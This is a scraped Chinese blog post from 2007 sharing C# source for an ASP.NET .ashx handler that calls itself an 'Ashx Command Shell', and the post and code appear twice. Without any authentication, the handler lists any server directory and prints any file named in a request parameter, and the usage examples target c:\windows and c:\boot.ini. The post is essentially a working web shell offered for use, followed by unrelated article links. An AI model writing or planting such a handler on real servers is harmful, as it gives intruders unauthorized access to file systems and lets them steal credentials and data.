编写的一个简单的ashx小程序
2007-11-03 23:34
260 查看
暂时实现列服务器目录和查看文件内容
具体用法
http://xxx.com/cmd.ashx?c=dir&c:\windows http://xxx.com/cmd.ashx?c=show&c:\boot.ini
<% @ webhandler language="C#" class="Sbm.Web.ApplicationCenter.Cmd" %>
using System;
using System.Web.SessionState;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
using System.IO;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
namespace Sbm.Web.ApplicationCenter
{
public class Cmd:System.Web.IHttpHandler
{
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context)
{
System.Text.StringBuilder sb=new System.Text.StringBuilder();
context.Response.AddHeader("Prama","no-cache");
context.Response.CacheControl="private";
context.Response.Expires=0;
context.Response.ContentType="text/html";
//获取参数
string c=context.Request["c"]; //命令
string p=context.Request["p"]; //命令需要参数
if(c==null || p==null) context.Response.Close();
c=c.Trim().ToLower();
p=p.Trim().ToLower();
sb.Append("<html><head>Openkava Ashx Command Shell <br/><hr></head><body>");
//string path=Server.MapPath("dir.ashx");
sb.Append("系统参数:</br><hr>");
sb.Append(context.Server.MachineName+"<br>");
sb.Append("Physical path:"+context.Request.PhysicalApplicationPath +" <br/>");
sb.Append("virtual file path:"+context.Request.CurrentExecutionFilePath +" <br/>");
sb.Append("virtual root path:"+context.Request.ApplicationPath +" <br/>");
sb.Append("<hr><br>");
// context.Request.SaveAs("f:""request.txt",true);
//显示文件
if(c=="show")
{
StreamReader objReader = new StreamReader(p);
string sLine="";
while (sLine != null)
{
sLine = objReader.ReadLine();
if (sLine != null)
sb.Append(sLine+"<br>");
}
objReader.Close();
}
//显示目录
if(c=="dir" )
{
System.IO.DirectoryInfo d= new DirectoryInfo(p); //("f:""usr""cw3b058"); //
foreach (DirectoryInfo sub in d.GetDirectories())
{
sb.Append(sub.FullName+"""<br/>");
}
foreach (FileInfo File in d.GetFiles())
{
sb.Append(File.FullName+"<br/>");
}
}
sb.Append("<hr><br/>");
sb.Append("</body></html>");
context.Response.Output.Write(sb.ToString());
context.Response.Flush();
context.Response.Close();
}
}
}
具体用法
http://xxx.com/cmd.ashx?c=dir&c:\windows http://xxx.com/cmd.ashx?c=show&c:\boot.ini
<% @ webhandler language="C#" class="Sbm.Web.ApplicationCenter.Cmd" %>
using System;
using System.Web.SessionState;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
using System.IO;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
namespace Sbm.Web.ApplicationCenter
{
public class Cmd:System.Web.IHttpHandler
{
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context)
{
System.Text.StringBuilder sb=new System.Text.StringBuilder();
context.Response.AddHeader("Prama","no-cache");
context.Response.CacheControl="private";
context.Response.Expires=0;
context.Response.ContentType="text/html";
//获取参数
string c=context.Request["c"]; //命令
string p=context.Request["p"]; //命令需要参数
if(c==null || p==null) context.Response.Close();
c=c.Trim().ToLower();
p=p.Trim().ToLower();
sb.Append("<html><head>Openkava Ashx Command Shell <br/><hr></head><body>");
//string path=Server.MapPath("dir.ashx");
sb.Append("系统参数:</br><hr>");
sb.Append(context.Server.MachineName+"<br>");
sb.Append("Physical path:"+context.Request.PhysicalApplicationPath +" <br/>");
sb.Append("virtual file path:"+context.Request.CurrentExecutionFilePath +" <br/>");
sb.Append("virtual root path:"+context.Request.ApplicationPath +" <br/>");
sb.Append("<hr><br>");
// context.Request.SaveAs("f:""request.txt",true);
//显示文件
if(c=="show")
{
StreamReader objReader = new StreamReader(p);
string sLine="";
while (sLine != null)
{
sLine = objReader.ReadLine();
if (sLine != null)
sb.Append(sLine+"<br>");
}
objReader.Close();
}
//显示目录
if(c=="dir" )
{
System.IO.DirectoryInfo d= new DirectoryInfo(p); //("f:""usr""cw3b058"); //
foreach (DirectoryInfo sub in d.GetDirectories())
{
sb.Append(sub.FullName+"""<br/>");
}
foreach (FileInfo File in d.GetFiles())
{
sb.Append(File.FullName+"<br/>");
}
}
sb.Append("<hr><br/>");
sb.Append("</body></html>");
context.Response.Output.Write(sb.ToString());
context.Response.Flush();
context.Response.Close();
}
}
}
相关文章推荐
- myeclipse编写的一个简单登陆程序
- 编写一个程序,一行行地读取输入行,直至到达文件尾。算出每行输入行的长度,然后把最长的那行打印出来。为了简单起见,你可以假定所有的输入行均不超过1000个字符。
- 初识python,编写一个简单的python程序
- Django 一个简单的图书管理程序(二编写借阅人管理)
- 编写简单一个程序 将一个长整型数据 写入字节数组中,在从字节数组中读出来
- 要求编写一个简单的人员信息管理程序,具体要求如下:
- 如何使用Python为Hadoop编写一个简单的MapReduce程序
- Ubuntu下编写一个简单的c程序
- 用C++编写一个随机产生多个两位数四则运算式子的简单程序
- 【实验 1-2】编写一个简单的 UDP 服务器和 UDPP 客户端程序。程序均为控制台程序窗口。
- 通过编写一个简单的漏洞扫描程序学习Python基本语句
- 编写一个程序,一行行地读取输入行,直至到达文件尾。算出每行输入行的长度,然后把最长的那行打印出来。为了简单起见,你可以假定所有的输入行均不超过1000个字符
- 用Qt Creator编写一个简单的窗口程序
- jQuery不得不会---编写一个简单的jQuery程序
- 想用winsock编写一个简单的聊天程序,显示的全是乱码
- 编写一个程序,一行行地读取输入行,直至到达文件尾。算出每行输入行的长度,然后把最长的那行打印出来。为了简单起见,你可以假定所有的输入行均不超过1000个字符
- C++ Primer 5th - 1.1 编写一个简单的C++程序
- Test__GUI__用java编写一个简单的记事本程序,打包成jar双击运行
- Linux操作系统的简单指令及如何使用vim编写一个程序,然后使用gcc查看【预处理】、【编译】、【汇编】、【链接】各阶段文件的内容。
- Linux下,使用C/C++编写一个简单的消息处理程序